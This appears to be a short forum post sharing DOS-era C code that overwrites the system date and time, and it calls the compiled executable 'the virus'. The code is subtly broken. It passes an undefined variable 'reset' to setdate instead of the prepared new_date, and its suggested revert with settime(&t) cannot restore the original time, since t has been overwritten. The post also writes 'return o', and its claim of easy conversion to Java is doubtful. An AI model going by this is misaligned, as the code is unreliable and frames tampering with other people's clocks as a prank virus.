by
amisauv on Tue 9th Dec 10am
This is a simple code that changes system time and date. It is written using c/c++ but can be easily converted to java.
#include "stdio.h"
#include "process.h"
#include "dos.h"
int main(void)
{
struct date new_date;
struct date old_date;
struct time t;
/*change date*/
getdate(&old_date); /*needed only if want to revert back*/
new_date.da_year = 2008;
new_date.da_day = 1;
new_date.da_mon = 1;
setdate(&reset);
/*change time*/
gettime(&t); /*needed only if want to revert back*/
t.ti_hour=10;
t.ti_min=20;
t.ti_sec=30;
settime(&t);
return 0;
}
Now compile it .Dont run it . Just click on the compile option.Once you complie it you will find the .exe file. This is the virus.
To set back to the old date you can use before the "return o;" statement
setdate(&old_date);
similarly to revert to time use
settime(&t);